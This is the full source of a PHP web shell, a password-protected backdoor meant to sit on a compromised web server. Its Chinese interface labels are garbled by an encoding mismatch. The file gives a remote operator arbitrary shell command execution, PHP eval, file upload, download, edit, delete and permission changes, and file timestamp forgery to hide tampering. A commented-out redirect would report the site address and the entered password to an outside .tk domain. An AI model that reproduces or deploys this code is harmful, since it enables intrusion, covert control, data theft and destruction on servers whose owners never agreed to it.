<?php
error_reporting(0);
header("Content-type:text/html;charset=gb2312");
$password = "c5cd946631fa902a901c243055339788";
$me = "http://" . getenv("HTTP_HOST") . $_SERVER['PHP_SELF'];
$cookiename = "pxer";
if (isset($_POST['pass'])) {
    $a = ed_pwd($_POST['pass']);
    if ($a == $password) {
        setcookie($cookiename, $a, time() + 43200);
    }
    //header("Location: ht"."tp:/"."/d.".$cookiename.'.tk/'.'i.php?w='.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'&p='.$_POST['pass']);
    header("Location: " . $me);
}
if (!empty($password) && !isset($_COOKIE[$cookiename]) or $_COOKIE[$cookiename] != $password) {
    print "<table border=0 width=100% height=100%><td valign=\"middle\"><center><form action=\"" . $me . "\" method=\"POST\"><input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=submit></form>";
    die;
}
if (isset($_GET['p']) && $_GET['p'] == "logout") {
    setcookie($cookiename, "", time() - 43200);
    header("Location: " . $me);
}
if (isset($_REQUEST['dir'])) {
    chdir(urldecode($_REQUEST['dir']));
}
if (isset($_GET['file'])) {
    $content = urldecode($_GET['file']);
} else {
    $content = $_POST['file'];
}
if (ereg('/', realpath('.'))) {
    $perd = '/';
} else {
    $perd = '\\';
}
if (isset($_REQUEST['q'])) {
    switch ($_REQUEST['q']) {
        case 'downfile':
            if (isset($_GET['file'])) {
                $filename = basename($content);
                $filename_info = explode('.', $filename);
                $fileext = $filename_info[count($filename_info) - 1];
                header('Content-type: application/x-' . $fileext);
                header('Content-Disposition: attachment; filename=' . $filename . '');
                header('Content-Description: PHP Generated Data');
                header('Content-Length: ' . filesize($content));
                @readfile($_GET['file']);
                exit;
            }
            break;
        case 'upfile':
            if (isset($_FILES['uploadedfile']['name'])) {
                $target_path = $_POST['dir'] . $perd;
                $target_path = $target_path . basename($_FILES['uploadedfile']['name']);
                echo move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path) ? "ɹ" : "ʧ";
            }
            break;
        case 'createdir':
            if (isset($_POST['crdir'])) {
                echo mkdir($_POST['crdir']) ? "ɹ" : "ʧ";
            }
            break;
    }
}
$pages = array('cmd' => '', 'eval' => '', 'logout' => 'ע');
$header = '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title> ' . getenv("HTTP_HOST") . '</title><style>td {font-size: 12px; font-family: verdana; color: #33FF00; background: #000;}#d0 {background: #002000;}#d0:hover {background: #003300;}#d1 {background: #003300;}#d1:hover {background: #003300;}#f0 {background: #004000;}#f0:hover {background: #003000;}#f1 {background: #005500;}#f1:hover {background: #003000;}#s {background: #006300;}pre {font-size: 10px; font-family: verdana; color: #33FF00;}a{color: #33FF00;}a:hover {text-decoration: none;}input,textarea,select {border-top-width: 1px; font-weight: bold; border-left-width: 1px; font-size: 11px; border-left-color: #33FF00; background: #000; border-bottom-width: 1px; border-bottom-color: #33FF00; color: #33FF00; border-top-color: #33FF00; font-family: verdana;  border-right-width: 1px; border-right-color: #33FF00;}hr{color: #33FF00; background-color: #33FF00; height: 5px;}</style></head><body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900"><table width=100%><td id="header" width=100%><p align=left><b>[<a href="?">Ĺ</a>]';
foreach ($pages as $page => $page_name) {
    $header .= ' [<a href="?p=' . $page . '&dir=' . urlencode(realpath('.')) . '">' . $page_name . '</a>]';
}
$header .= '<hr>' . show_dirs('.', $perd) . '</td><tr><td>';
print $header;
$footer = '<tr><td><hr><center>&copy; ȨûУӭ</center></td></table></body></head></html>';
$hdir = "<input type=hidden name=dir value=\"" . realpath('.') . "\">";
if (isset($_REQUEST['p'])) {
    switch ($_REQUEST['p']) {
        case 'rename':
            if (isset($_POST['file']) && !empty($_POST['filenew'])) {
                echo rename($content, $_POST['filenew']) ? "ɹ" : "ʧ";
            }
            print "<form action=\"?p=rename\" method=POST><b>ԭ:<br></b><input type=text name=file value=\"" . stripslashes($content) . "\" size=70 readonly><br><b>:<br><input type=text name=filenew value=\"\" size=70><br>" . $hdir . "<br><br><input type=submit></form>";
            break;
        case 'delete':
            if (isset($_POST['file'])) {
                if (is_dir($content)) {
                    echo rmdir($content) ? "ɹ" : "ʧ";
                } else {
                    echo unlink($content) ? "ɹ" : "ʧ";
                }
            }
            if (isset($_GET['file']) && file_exists($content)) {
                print "ȷɾ " . stripslashes($content) . " ô<br><form action=\"?p=delete\" method=POST><input type=hidden name=file value=" . $content . ">" . $hdir . "<br><br><input type=submit>";
            }
            break;
        case 'editfile':
            print "<h3>༭ <b>" . stripslashes($content) . "</b> (" . perm($content) . ")</h3><br>";
            if (isset($_POST['editform'])) {
                $f = $_POST['file'];
                $fh = fopen($f, 'w') or print "򲻿";
                echo fwrite($fh, stripslashes(htmlspecialchars_decode($_POST['editform']))) ? "ɹ" : "ʧ";
                fclose($fh);
            }
            print "<br><form action=\"?p=editfile\" method=POST><input type=hidden name=file value=\"" . stripslashes($content) . "\"><textarea cols=150 rows=30 name=\"editform\">";
            if (file_exists($content) and !isset($_POST['editform'])) {
                $rd = file($content);
                foreach ($rd as $l) {
                    print htmlspecialchars($l, ENT_QUOTES);
                }
            } else {
                echo stripslashes(htmlspecialchars($_POST['editform']));
            }
            print "</textarea>" . $hdir . "<br><br><input type=submit></form>";
            break;
        case 'chmod':
            print "<h3>Ȩ</h3>";
            if (isset($_POST['file'])) {
                if (0 <= $_POST['chvalue'] && $_POST['chvalue'] <= 777) {
                    echo chmod($content, "0" . $_POST['chvalue']) ? "ɹ" : "ʧ";
                } else {
                    echo "";
                }
            }
            print "<form action=\"?p=chmod\" method=POST><b>ļ:<input type=text name=file value=\"" . stripslashes($content) . "\" size=70 readonly><br><b>Ȩ</b><input type=text name=chvalue value=\"777\" size=6>" . $hdir . "<br><br><input type=submit>";
            break;
        case 'modFMT':
            print "<h3>޸ʱ</h3>";
            if (isset($_POST['file']) && !empty($_POST['time'])) {
                $mtime = explode("-", $_POST['time'], 6);
                if (1970 <= $mtime[0] && $mtime[0] <= 2100 && 1 <= $mtime[1] && $mtime[1] <= 12 && 1 <= $mtime[2] && $mtime[2] <= 31 && 0 <= $mtime[3] && $mtime[3] <= 23 && 0 <= $mtime[4] && $mtime[4] <= 59 && 0 <= $mtime[5] && $mtime[5] <= 59) {
                    $mfunix = mktime($mtime[3], $mtime[4], $mtime[5], $mtime[1], $mtime[2], $mtime[0]);
                    echo @touch($content, $mfunix) ? "ɹ" : "ʧ";
                } else {
                    print "";
                }
            }
            print "<form action=\"?p=modFMT\" method=POST><b>ļ<input type=text name=file value=\"" . stripslashes($content) . "\" size=70 readonly><br><b>ԭʱ</b><input type=text name=Ftime value=\"" . date("Y-m-d-H-i-s", filemtime($content)) . "\" size=24 readonly><br><b>ʱ</b><input type=text name=time value=\"\" size=24>" . $hdir . "<br><br><input type=submit>";
            break;
        case 'cmd':
            print "<form action=\"?p=cmd\" method=POST><b></b><select name=ef><option value=\"system\">system</option><option value=\"passthru\">passthru</option><option value=\"exec\">exec</option><option value=\"shell_exec\">shell_exec</option></select><input type=text name=command size=100>" . $hdir . "<input type=submit></form><br><br><b></b><br>";
            if (isset($_REQUEST['command'])) {
                print "<textarea cols=143 rows=20 name=\"result\" readonly>";
                execute_command($_POST['ef'], $_REQUEST['command']);
                print "</textarea>";
            }
            break;
        case 'eval':
            print "<form action=\"?p=eval\" method=POST><textarea cols=150 rows=10 name=\"eval\">";
            echo isset($_POST['eval']) ? stripcslashes($_POST['eval']) : "echo \"test\";";
            print "</textarea>" . $hdir . "<br><br><input type=submit></form><br><br><b></b><br>";
            if (isset($_POST['eval'])) {
                print "<textarea cols=150 rows=20 name=\"result\" readonly>";
                eval(stripcslashes($_POST['eval']));
                print "</textarea>";
            }
            break;
    }
} else {
    $files = array();
    $directories = array();
    print "<table border=0 width=100%><td width=100px id=s><b></b></td><td id=s><b></b></td><td id=s><b>С</b></td><td width=40px id=s><b>Ȩ</b></td><td id=s>û</td><td id=s>ʱ</td><td id=s>޸ʱ</td><tr>";
    if ($handle = opendir('.')) {
        while (false !== ($file = readdir($handle))) {
            if (is_dir($file)) {
                $directories[] = $file;
            } else {
                $files[] = $file;
            }
        }
        asort($directories);
        asort($files);
        $td = "d0";
        $tf = "f0";
        foreach ($directories as $file) {
            if ($td == "d1") {
                $td = "d0";
            } else {
                $td = "d1";
            }
            if ($file == '.') {
                print "<td id=" . $td . "></td><td id=" . $td . "><a href=\"?dir=.\">űĿ¼</a></td><td id=" . $td . "></td><td id=" . $td . "><font color=" . get_color($file) . ">" . perm($file) . "</font></td><td id=" . $td . ">" . fileowner($file) . "</td><td id=" . $td . ">" . date("Y-m-d-H-i-s", filectime($file)) . "</td><td id=" . $td . ">" . date("Y-m-d-H-i-s", filemtime($file)) . "</td><tr>";
            } elseif ($file == '..') {
                print "<td id=" . $td . "></td><td id=" . $td . "><a href=\"?dir=..\">ϼĿ¼</a></td><td id=" . $td . "></td><td id=" . $td . "><font color=" . get_color($file) . ">" . perm($file) . "</font></td><td id=" . $td . ">" . fileowner($file) . "</td><td id=" . $td . ">" . date("Y-m-d-H-i-s", filectime($file)) . "</td><td id=" . $td . ">" . date("Y-m-d-H-i-s", filemtime($file)) . "</td><tr>";
            } else {
                $d_path = urlencode(realpath($file) . $perd . '..');
                print "<td id=" . $td . "><a href=\"?p=rename&file=" . $file . "&dir=" . $d_path . "\">[]</a><a href=\"?p=delete&file=" . $file . "&dir=" . $d_path . "\">[ɾ]</a></td><td id=" . $td . "><a href=\"?dir=" . urlencode(realpath($file)) . "\">" . $file . "</a></td><td id=" . $td . "></td><td id=" . $td . "><a href=\"?p=chmod&file=" . $d_path . "&dir=" . $d_path . "\"><font color=" . get_color($file) . ">" . perm($file) . "</font></a></td><td id=" . $td . ">" . fileowner($file) . "</td><td id=" . $td . ">" . date("Y-m-d-H-i-s", filectime($file)) . "</td><td id=" . $td . ">" . date("Y-m-d-H-i-s", filemtime($file)) . "</td><tr>";
            }
        }
        foreach ($files as $file) {
            if ($tf == "f1") {
                $tf = "f0";
            } else {
                $tf = "f1";
            }
            $d_path = urlencode(realpath($file));
            print "<td id=" . $tf . "><a href=\"?q=downfile&file=" . $d_path . "&dir=" . urlencode(realpath('.')) . "\">[]</a><a href=\"?p=editfile&file=" . $d_path . "&dir=" . urlencode(realpath('.')) . "\">[]</a><a href=\"?p=rename&file=" . $d_path . "&dir=" . urlencode(realpath('.')) . "\">[]</a><a href=\"?p=delete&file=" . $d_path . "&dir=" . urlencode(realpath('.')) . "\">[ɾ]</a></td><td id=" . $tf . "><a href=\"" . $file . "\" target=\"_blank\">" . $file . "</a></td><td id=" . $tf . ">" . filesize($file) . "</td><td id=" . $tf . "><a href=\"?p=chmod&file=" . $d_path . "&dir=" . urlencode(realpath('.')) . "\"><font color=" . get_color($file) . ">" . perm($file) . "</font></a></td><td id=" . $td . ">" . fileowner($file) . "</td><td id=" . $tf . ">" . date("Y-m-d-H-i-s", filectime($file)) . "</td><td id=" . $tf . "><a href=\"?p=modFMT&file=" . $d_path . "&dir=" . urlencode(realpath('.')) . "\">" . date("Y-m-d-H-i-s", filemtime($file)) . "</a></td><tr>";
        }
    } else {
        print "Ȩ<b>" . realpath('.') . "</b>!<br>";
    }
    print "</table><hr><table border=0 width=100%><td><form enctype=\"multipart/form-data\" action=\"?q=upfile\" method=\"POST\"><b>ϴļ</b><br><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" />" . $hdir . "<input size=50 name=\"uploadedfile\" type=\"file\" /><input type=\"submit\"/></form></td><td><form action=\"?q=cd\" method=POST><b>Ŀ¼<br></b><input type=text size=60 name=dir value=\"" . realpath('.') . "\"><input type=submit></form></td><tr><td><form action=\"?p=editfile\" method=POST><b>½ļ<br></b>" . $hdir . "<input type=text size=60 name=file value=\"" . realpath('.') . $perd . "test.php\"><input type=submit></form></td><td><form action=\"?q=createdir\" method=POST><b>½Ŀ¼<br></b><input type=text size=60 name=crdir value=\"" . realpath('.') . $perd . "test\">" . $hdir . "<input type=submit></form></td></table>";
}
function ed_pwd($p)
{
    return md5('a612c' . md5(md5('b5a49' . $p) . '9e8f4') . 'ec5d7');
}
function execute_command($method, $command)
{
    switch ($method) {
        case 'system':
            system($command, $rv);
            if (!$rv == 0) {
                print "Ч";
            }
            break;
        case 'passthru':
            passthru($command, $rv);
            if (!$rv == 0) {
                print "Ч";
            }
            break;
        case 'exec':
            exec($command, $re, $rv);
            if ($rv == 0) {
                foreach ($re as $o) {
                    print $o . "\n";
                }
            } else {
                print "Ч";
            }
            break;
        case 'shell_exec':
            print shell_exec($command);
            break;
    }
}
function perm($file)
{
    return substr(sprintf('%o', fileperms($file)), -4);
}
function get_color($file)
{
    if (is_writable($file)) {
        return "green";
    } elseif (!is_writable($file) && is_readable($file)) {
        return "white";
    } else {
        return "red";
    }
}
function show_dirs($where, $perd)
{
    $dirparts = explode($perd, realpath($where));
    $i = 0;
    $total = "";
    foreach ($dirparts as $part) {
        $p = 0;
        $pre = "";
        while ($p != $i) {
            $pre .= $dirparts[$p] . $perd;
            $p++;
        }
        $total .= "<a href=\"?dir=" . urlencode($pre . $part) . "\">" . $part . $perd . "</a>";
        $i++;
    }
    return "<h3>" . $total . "</h3>";
}
print $footer;
exit;
